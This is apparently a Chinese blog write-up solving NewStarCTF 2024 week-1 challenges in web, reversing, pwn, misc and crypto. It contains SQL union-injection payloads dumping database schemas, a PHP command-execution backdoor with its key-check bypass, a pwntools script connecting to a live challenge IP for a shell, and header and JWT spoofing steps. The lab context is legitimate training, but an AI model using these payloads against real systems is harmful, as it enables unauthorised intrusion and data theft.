NewStarCTF2024-week1-wp

2 篇文章 1 订阅
1 篇文章 0 订阅

原文链接:点击此处

web

headach3

题目内容:

头疼,帮我治治

【难度:签到】

在响应头里

image-20240930170749510

flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

会赢吗

题目内容:

什么是控制台?js又是什么

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

F12查看前端代码,拿到ZmxhZ3tXQTB3和下一个路由/4cqu1siti0n

image-20240930170900294

访问/4cqu1siti0n,直奔js代码块,发现定义了revealFlag函数用于POST请求,最后提示课程为4cqu1siti0nimage-20240930172208979

控制台中直接运行revealFlag("4cqu1siti0n");,拿到IV95NF9yM2Fs和下一个路由/s34l

image-20240930172158161

访问路由/s34l

image-20240930175022415

POST请求/api/flag/s34l路由,请求数据为csrf_token=hfaousghashgfasbasiouwrda1_,拿到MXlfR3I0c1B和下一个路由Ap3x

image-20240930174917683

访问/Ap3x路由,前端代码发现<noscript>标签

POST发包,拿到fSkpKcyF9

image-20240930175811947

合并密文,base64解密

image-20240930180120578

智械危机

题目内容:

我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢

【难度:中等】

看看robots.txt

image-20240930195121107

给了源代码

<?php

function execute_cmd($cmd) {
    system($cmd);
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
?>

看似复杂其实简单,对最后被执行system的参数cmd进行溯源,发现仅经过一次base64解密,那么cmd传入必定是base64编码的指令,在通过控制key绕过死亡die函数,其逻辑是cmd倒序后MD5运算的值强等于对key进行base64解密的值,于是key的加密过程如下

image-20240930200926257

image-20240930200944030

flag位于根目录,进行相应的加密传参即可

image-20240930201210653

PangBai 过家家(1)

题目内容:

今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:中等】

leval1,访问/9b18b221-99b7-4b14-800a-e7aecca4e340路由

image-20240930203340442

提示Query

image-20240930203433657

GET传参?ask=miao

image-20240930203558023

POST传参say=hello

image-20240930203734037

image-20240930203810351

User-Agent头浏览器引擎改为Papa

image-20241001025604578

说:玛卡巴卡阿卡哇卡米卡玛卡呣

image-20241001025731721

utf-8编码

image-20241001165859974

image-20241001170119054

加上; charset=UTF-8

具体看bp设置image-20241001170322116

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

302跳转,直接替换cookie

image-20241001170233970

image-20241001170458122

image-20241001170635269

屏幕截图 2024-10-01 175500

X-Forwarded-For: 127.0.0.1

image-20241001182127755

给了密钥

image-20241001183459163

改成level7

image-20241001183528840

没有level7

image-20241001183805276

回到开始jwt改level0

image-20241001184213480

除了题目抽象有点难,题目设计是真不错啊,跟打本子似的,片尾曲也好听

image-20241001190848823

谢谢皮蛋

题目内容:

让我皮蛋看看Flag都藏哪了

【难度:困难】

数字型注入

爆库名

1 and 1=0 union select 1,group_concat(schema_name) from information_schema.schemata

image-20241001015316021

爆表

1 and 1=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"

image-20241001015617438

爆列名

1 and 1=0 union select 1,group_concat(column_name) FROM information_schema.columns where  table_schema=“A” and table_name='Fl4g'

image-20241001020112906

拿到flag

1 and 1=0 union select 1,value FROM ctf.Fl4g

image-20241001020246893

对了,F12是有hint的

image-20241001020520067

RE

begin

题目内容:

什么是IDA?

【难度:签到】

ida打开

image-20240930132025384

进入flag_part1位置

image-20240930132258239

第一段flag:flag{Mak3_aN_

image-20240930132328720

shift+F12,发现第二段3Ff0rt_tO_5eArcH_

image-20240930132504858

第三段位于函数名,F0r_th3_f14g_C0Rpse

image-20240930132659148

结尾加上}

image-20240930132756415

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

base64

题目内容:

仍然是base64

【难度:简单】

image-20240930133521145

image-20240930133803990

image-20240930133818142

base64换表题,梭了

image-20240930133847101

ezAndroidStudy

题目内容:

这是什么?猫猫虫?

【难度:简单】

image-20240930143753900

第一段:flag{Y0u

image-20240930135432592

加载了ezandroidstudy动态库

image-20240930135518516

导出ezandroidstudy.so

image-20240930135351532

ida逆向一波,发现第5段:_r4V4rs4r}

image-20240930135702969

第二段:_@r4

image-20240930183438571

activity_main.xml中flag3:_900d

image-20240930184438575

flag4:_andr01d

image-20240930183651183

image-20240930184138786

flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

Simple_encryption

题目内容:

一眼秒的算法

【难度:简单】

模3,进行-+^操作

image-20240930191212081

密文

image-20240930191313232

from idaapi import *
for i in range(30):
    enc=get_byte(0x403020+i)
    if i%3==0:
        enc+=31
    elif i%3==1:
        enc-=41
    elif i%3==2:
        enc^=0x55
    print(chr(enc),end="")

ez_debug

题目内容:

动态调试(可能xdbg会更简单哦)

【难度:简单】

判断完flag后会对密文进行解密

image-20240930193914018

甚至不需要改判断标识,打个断点出flag

image-20240930194203457

pwn

Real Login

题目内容:

简简单单签个到吧

【难度:签到】

输入密码给shell

image-20240930180517752

image-20240930180533003

image-20240930180507407

image-20240930180729478

Game

题目内容:

不会连最简单的加法都不会吧

【难度:签到】

alarm函数,其参数为设置的时间,单位秒,指设置时间后发出警报声,即给进程发送SIGALRM信号,对于pwn题,需要远程连接服务器,一般情况下,该函数发出SIGALRM信号时会中断连接

image-20240930181320222

所以在5秒内输入111遍9就能拿到shell,不得不编写脚本了

from pwn import *
p=remote("39.106.48.123",18738)

for i in range(112):
    p.sendline(b"9")
p.interactive()

image-20240930182645799

overwrite

题目内容:

你的wallet真的有money喵

【难度:简单】

缓冲区长度可控制,不过有大小限制,通过负数绕过,如nbytes传入-1(0xFFFFFFFF),可绕过nbytes>48,在read函数中转为无符号型int(4294967295),相当于可读取4GB的数据

nbytes_4栈大小为0x30,填充0x30个字节后,可以覆写bptr的栈,要注意的是,对于atoi函数是有大小限制的

atoi 函数能够处理的最大值为 2,147,483,647,即在输入字符串为 "2147483647" 时,atoi 将返回 INT_MAX

如果输入的字符串超出了这个范围,比如 "2147483648"atoi 不会返回溢出值,而是返回一个未定义的结果,通常是返回 0

image-20241001041745936

因此,输入-1绕过长度限制,再输入54(0x30+0x6)个9

image-20241001041713062

gdb

题目内容:

我加密的数据呢?!!!

【难度:简单】

输入与运算得出的enc比较判断

image-20241001053038194

dbg调试,enc位于rbp-0x4394557455355431d5d

image-20241001052834834

有个不可见字符\x1d

image-20241001053320979

或者脚本

image-20241001052951316

misc

兑换码

题目内容:

领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。

【难度:简单】

png改高

脚本

import zlib
import struct
import  binascii


file = "荣花与炎日之途.png"
fr = open(file,'rb').read()
data = bytearray(fr[12:29])

#crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",'')) 
crc32key = struct.unpack('>I',fr[29:33])[0]&0xffffffff 
print(crc32key)
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00') 
n = 4096
for w in range(n): 
    width = bytearray(struct.pack('>i', w))
    for h in range(n): 
        height = bytearray(struct.pack('>i', h)) 
        for x in range(4): 
            data[x+4] = width[x] 
            data[x+8] = height[x] 
            #print(data) 
        crc32result = zlib.crc32(data) 
        if crc32result == crc32key:
            print(crc32key) 
            print(width,height) 
            print(data) 
            newpic = bytearray(fr) 
            for x in range(4): 
                newpic[x+16] = width[x]
                newpic[x+20] = height[x] 
            fw = open(file+'.png','wb') 
            fw.write(newpic) 
            fw.close 

image-20240930223939441

Labyrinth

题目内容:

听好了:9月30日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。

你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。

至此,一锤定音。

尘埃,已然落定。

#newstar# #LSB# #听好了#

【难度:简单】

StegSolve

image-20240930224133126

QR Research

image-20240930224216561

WhereIsFlag

题目内容:

才。。。才不会告诉你我把flag藏在哪里了!

【难度:简单】

image-20240930224850530

decompress

题目内容:

正在失传的技艺之压缩包解压

【难度:简单】

套娃最后的压缩包需要密码

image-20241001023856056

flag{U_R_th3_ma5ter_0f_dec0mpress}

pleasingMusic

题目内容:

一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)

【难度:签到】

一分多钟有摩斯密码

image-20241001024322543

根据题目提示进行倒序

image-20241001024400257

crypto

Base

题目内容:

This is a base question!

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

【难度:签到】

赛博厨梭

image-20240930233155068

Strange King

题目内容:

某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给

这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文

【难度:简单】

dic_lo='abcdefghijklmnopqrstuvwxyz'
dic_up='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
enc='ksjr{EcxvpdErSvcDgdgEzxqjql}'
flag=''
for i in range(len(enc)):
    if enc[i]=='{' or enc[i]=='}':
        flag+=enc[i]
        continue
    if enc[i].islower():
        flag += dic_lo[(ord(enc[i]) - 97 + 21 - i * 2) % 26]
    if enc[i].isupper():
        flag += dic_up[(ord(enc[i]) - 97 + 1 - i * 2) % 26]
print(flag)

image-20241001002701503

xor

题目内容:

如果再来一次的话,就能回到从前,一切都会好起来的

【难度:签到】

xor可逆

from Crypto.Util.number import *
from pwn import xor

c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
print(long_to_bytes(m1)+m2)

一眼秒了

题目内容:

n小小的也很可爱

【难度:简单】

from Crypto.Util.number import long_to_bytes
from gmpy2 import is_prime, mpz
from sympy import factorint

# 给定的 n 和 c
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537

# 因数分解 n
factors = factorint(n)
p, q = [mpz(f) for f in factors]

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d
d = pow(e, -1, phi_n)

# 解密 m
m = pow(c, d, n)

# 转换为字节并输出
flag_bytes = long_to_bytes(m)
print(flag_bytes)

```python

6500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537

# 因数分解 n
factors = factorint(n)
p, q = [mpz(f) for f in factors]

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d
d = pow(e, -1, phi_n)

# 解密 m
m = pow(c, d, n)

# 转换为字节并输出
flag_bytes = long_to_bytes(m)
print(flag_bytes)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值